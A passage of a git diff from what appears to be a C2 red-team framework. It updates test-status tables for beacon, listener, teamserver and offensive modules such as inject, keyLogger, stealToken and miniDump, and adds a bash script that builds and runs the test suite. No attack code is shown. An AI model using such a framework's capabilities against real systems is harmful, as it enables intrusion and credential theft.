hosted | untested | untested | +| partial | auto+manual | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | hosted | pass | untested | | untested | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | untested | | untested | auto+manual | high | `LISTENER-TCP-001` | Listeners | TCP listener | any | any | tcp | n/a | untested | untested | -| untested | auto | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | teamserver | n/a | n/a | command_specs | untested | n/a | -| untested | auto+manual | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | any | any | https | any | untested | untested | -| untested | auto+manual | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | untested | untested | -| untested | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | untested | untested | -| untested | auto+manual | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | untested | untested | -| untested | auto+manual | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | windows | x64 | https | tools | untested | untested | -| untested | auto+manual | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | any | any | https | generated | untested | untested | -| untested | auto+manual | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | any | any | https | n/a | untested | untested | -| untested | auto+manual | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | windows | x64 | https | generated | untested | untested | -| untested | auto+manual | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | any | any | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | windows | x64 | https | uploaded | untested | untested | -| untested | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | untested | untested | +| pass | auto | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | teamserver | n/a | n/a | command_specs | pass | n/a | +| partial | auto+manual | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | any | any | https | any | pass | untested | +| partial | auto+manual | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | untested | +| partial | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | pass | untested | +| partial | auto+manual | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | pass | untested | +| partial | auto+manual | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | windows | x64 | https | tools | pass | untested | +| partial | auto+manual | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | any | any | https | generated | pass | untested | +| partial | auto+manual | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | any | any | https | n/a | pass | untested | +| partial | auto+manual | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | windows | x64 | https | generated | pass | untested | +| partial | auto+manual | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | any | any | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | windows | x64 | https | uploaded | pass | untested | +| partial | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | pass | untested | | planned | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | windows | x64 | https | generated | n/a | n/a | -| untested | auto+manual | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | untested | untested | -| untested | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | any | any | https | n/a | untested | untested | -| untested | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | untested | untested | -| untested | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | untested | untested | -| untested | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | untested | untested | -| untested | auto+manual | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | untested | untested | -| untested | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | untested | untested | -| untested | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | untested | untested | -| untested | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | any | any | https | n/a | untested | untested | -| untested | auto+manual | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | any | any | https | uploaded | untested | untested | -| untested | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | untested | untested | -| untested | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | untested | untested | +| partial | auto+manual | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | pass | untested | +| partial | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | any | any | https | n/a | pass | untested | +| partial | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | pass | untested | +| partial | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | pass | untested | +| partial | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | pass | untested | +| partial | auto+manual | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | pass | untested | +| partial | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | pass | untested | +| partial | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | pass | untested | +| partial | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | any | any | https | n/a | pass | untested | +| partial | auto+manual | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | any | any | https | uploaded | pass | untested | +| partial | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | pass | untested | +| partial | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | untested | | untested | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | untested | | untested | manual | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | windows | any | n/a | any | n/a | untested | -| untested | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | untested | untested | -| untested | auto | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | teamserver | n/a | n/a | command_specs | untested | n/a | -| untested | auto | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | teamserver | any | any | any | untested | n/a | -| untested | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | untested | untested | -| untested | auto | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | teamserver | any | n/a | generated | untested | n/a | -| untested | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | untested | untested | -| untested | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | untested | untested | -| untested | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | untested | untested | -| untested | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | untested | untested | -| untested | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | untested | untested | -| untested | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | untested | untested | -| untested | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | untested | untested | -| untested | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | untested | untested | +| partial | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | pass | untested | +| pass | auto | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | teamserver | n/a | n/a | command_specs | pass | n/a | +| pass | auto | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | teamserver | any | any | any | pass | n/a | +| partial | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | pass | untested | +| pass | auto | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | teamserver | any | n/a | generated | pass | n/a | +| partial | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | pass | untested | +| partial | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | pass | untested | +| partial | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | pass | untested | +| partial | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | pass | untested | +| partial | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | pass | untested | +| partial | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | pass | untested | +| partial | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | untested | +| partial | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | pass | untested | | untested | manual | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | linux | x64 | https | any | n/a | untested | | untested | manual | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | windows | x64 | https | any | n/a | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 63ad01c..ad0ba9d 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,11 +10,11 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 0 | +| pass | 6 | | fail | 0 | | blocked | 0 | -| partial | 0 | -| untested | 111 | +| partial | 96 | +| untested | 9 | | planned | 2 | ## Validation Modes @@ -30,55 +30,49 @@ _Generated by `scripts/generate-test-state.py`._ | Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total | |---|---:|---:|---:|---:|---:|---:|---:| -| Artifacts | 0 | 0 | 0 | 0 | 5 | 0 | 5 | -| Beacon | 0 | 0 | 0 | 0 | 5 | 0 | 5 | -| C2Client | 0 | 0 | 0 | 0 | 20 | 1 | 21 | -| CommonCommands | 0 | 0 | 0 | 0 | 7 | 0 | 7 | -| Listeners | 0 | 0 | 0 | 0 | 6 | 0 | 6 | -| Modules | 0 | 0 | 0 | 0 | 51 | 1 | 52 | +| Artifacts | 0 | 0 | 0 | 5 | 0 | 0 | 5 | +| Beacon | 0 | 0 | 0 | 5 | 0 | 0 | 5 | +| C2Client | 2 | 0 | 0 | 18 | 0 | 1 | 21 | +| CommonCommands | 0 | 0 | 0 | 7 | 0 | 0 | 7 | +| Listeners | 0 | 0 | 0 | 1 | 5 | 0 | 6 | +| Modules | 1 | 0 | 0 | 50 | 0 | 1 | 52 | | Release | 0 | 0 | 0 | 0 | 2 | 0 | 2 | -| TeamServer | 0 | 0 | 0 | 0 | 12 | 0 | 12 | -| Validation | 0 | 0 | 0 | 0 | 3 | 0 | 3 | +| TeamServer | 3 | 0 | 0 | 9 | 0 | 0 | 12 | +| Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | ## Critical Non-Pass | Final | ID | Area | Feature | Auto | Manual | |---|---|---|---|---|---| -| untested | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | untested | untested | -| untested | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | untested | untested | -| untested | `ARTIFACT-TOOLS-001` | Artifacts | Tools | untested | untested | -| untested | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | untested | untested | -| untested | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | untested | untested | -| untested | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | untested | untested | -| untested | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | untested | untested | -| untested | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | untested | untested | -| untested | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | untested | untested | -| untested | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | untested | n/a | -| untested | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | untested | untested | -| untested | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | untested | n/a | -| untested | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | untested | untested | -| untested | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | untested | untested | -| untested | `COMMON-HELP-001` | CommonCommands | help | untested | untested | -| untested | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | untested | untested | -| untested | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | untested | untested | -| untested | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | untested | untested | -| untested | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | untested | untested | -| untested | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | untested | n/a | -| untested | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | untested | untested | -| untested | `MODULE-INJECT-CONTRACT-001` | Modules | inject | untested | untested | -| untested | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | untested | untested | -| untested | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | untested | untested | -| untested | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | untested | untested | +| partial | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | pass | untested | +| partial | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | pass | untested | +| partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | +| partial | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | pass | untested | +| partial | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | pass | untested | +| partial | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | pass | untested | +| partial | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | pass | untested | +| partial | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | pass | untested | +| partial | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | pass | untested | +| partial | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | pass | untested | +| partial | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | pass | untested | +| partial | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | pass | untested | +| partial | `COMMON-HELP-001` | CommonCommands | help | pass | untested | +| partial | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | pass | untested | +| partial | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | pass | untested | +| partial | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | pass | untested | +| partial | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | pass | untested | +| partial | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | pass | untested | +| partial | `MODULE-INJECT-CONTRACT-001` | Modules | inject | pass | untested | +| partial | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | pass | untested | +| partial | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | pass | untested | +| partial | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | pass | untested | +| partial | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | pass | untested | +| partial | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | pass | untested | +| partial | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | pass | untested | +| partial | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | pass | untested | +| partial | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | pass | untested | +| partial | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | pass | untested | | untested | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | n/a | untested | | untested | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | untested | -| untested | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | untested | untested | -| untested | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | untested | n/a | -| untested | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | untested | n/a | -| untested | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | untested | untested | -| untested | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | untested | untested | -| untested | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | untested | n/a | -| untested | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | untested | untested | -| untested | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | untested | untested | -| untested | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | untested | untested | | untested | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | n/a | untested | | untested | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | n/a | untested | diff --git a/scripts/run-validation-suite.sh b/scripts/run-validation-suite.sh new file mode 100644 index 0000000..214576b --- /dev/null +++ b/scripts/run-validation-suite.sh @@ -0,0 +1,324 @@ +#!/usr/bin/env bash +set -u + +REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +BUILD_DIR="${BUILD_DIR:-$REPO_ROOT/build}" +RESULT_DIR="${RESULT_DIR:-$BUILD_DIR/test-results}" +LOG_DIR="$RESULT_DIR/logs" +RESULTS_TSV="$RESULT_DIR/auto-results.tsv" +AUTO_RESULTS="$RESULT_DIR/auto-results.json" +RUN_BUILD=1 + +usage() { + cat <<'EOF' +Usage: scripts/run-validation-suite.sh [--skip-build] + +Runs the conservative automated validation suite and writes: + build/test-results/auto-results.json + build/test-results/logs/*.log + +Environment overrides: + BUILD_DIR=/path/to/build + RESULT_DIR=/path/to/results + PYTHON_BIN=/path/to/python +EOF +} + +while [[ $# -gt 0 ]]; do + case "$1" in + --skip-build) + RUN_BUILD=0 + shift + ;; + -h|--help) + usage + exit 0 + ;; + *) + echo "Unknown option: $1" >&2 + usage >&2 + exit 2 + ;; + esac +done + +if [[ -n "${PYTHON_BIN:-}" ]]; then + PYTHON="$PYTHON_BIN" +elif [[ -x "$REPO_ROOT/C2Client/.venv/bin/python" ]]; then + PYTHON="$REPO_ROOT/C2Client/.venv/bin/python" +else + PYTHON="python3" +fi +AGGREGATOR_PYTHON="${AGGREGATOR_PYTHON:-python3}" + +export QT_QPA_PLATFORM="${QT_QPA_PLATFORM:-offscreen}" + +mkdir -p "$RESULT_DIR" "$LOG_DIR" +: > "$RESULTS_TSV" + +BUILD_TARGETS=( + testsTestServer + testsTeamServerHelpService + testsTeamServerCommandPreparationService + testsTeamServerListenerArtifactService + testsTeamServerArtifactCatalog + testsTeamServerCommandCatalog + testsTeamServerSocksService + testsTeamServerTermLocalService + testsTeamServerListenerSessionService + testsTeamServerHttpListenerTransport + testsModuleCmd + testsTools + testsAssemblyExec + testsCat + testsChangeDirectory + testsChisel + testsCimExec + testsCoffLoader + testsDcomExec + testsDotnetExec + testsDownload + testsEnumerateRdpSessions + testsEnumerateShares + testsEvasion + testsGetEnv + testsInject + testsIpConfig + testsKerberosUseTicket + testsKeyLogger + testsKillProcess + testsListDirectory + testsListProcesses + testsMakeToken + testsMiniDump + testsMkDir + testsNetstat + testsPowershell + testsPrintWorkingDirectory + testsPsExec + testsPwSh + testsRegistry + testsRemove + testsRev2self + testsReversePortForward + testsRun + testsScreenShot + testsScript + testsShell + testsSpawnAs + testsSshExec + testsStealToken + testsTaskScheduler + testsTree + testsUpload + testsWhoami + testsWinRM + testsWmiExec +) + +BUILD_STATUS=0 +if [[ "$RUN_BUILD" -eq 1 ]]; then + echo "[build] ${BUILD_TARGETS[*]}" + if cmake --build "$BUILD_DIR" --target "${BUILD_TARGETS[@]}" --parallel 2 > "$LOG_DIR/build.log" 2>&1; then + echo "[build] ok" + else + BUILD_STATUS=$? + echo "[build] failed, see $LOG_DIR/build.log" + fi +fi + +safe_name() { + local value="$1" + value="${value//[^A-Za-z0-9_.-]/_}" + printf '%s' "$value" +} + +record_result() { + local ids="$1" + local status="$2" + local source="$3" + local log_file="$4" + local detail="$5" + local id + for id in $ids; do + printf '%s\t%s\t%s\t%s\t%s\n' "$id" "$status" "$source" "$log_file" "$detail" >> "$RESULTS_TSV" + done +} + +run_case() { + local ids="$1" + local source="$2" + shift 2 + local log_file="$LOG_DIR/$(safe_name "$source").log" + local status="pass" + local detail="" + + echo "[run] $source" + if [[ "$BUILD_STATUS" -ne 0 && "${1:-}" == "$BUILD_DIR"/* ]]; then + status="fail" + detail="build failed before execution" + printf '%s\n' "$detail" > "$log_file" + elif [[ ! -x "${1:-}" && "${1:-}" == "$BUILD_DIR"/* ]]; then + status="blocked" + detail="executable not found" + printf '%s: %s\n' "$detail" "${1:-}" > "$log_file" + else + "$@" > "$log_file" 2>&1 + local code=$? + if [[ "$code" -eq 0 ]]; then + status="pass" + detail="exit code 0" + elif [[ "$code" -eq 77 ]]; then + 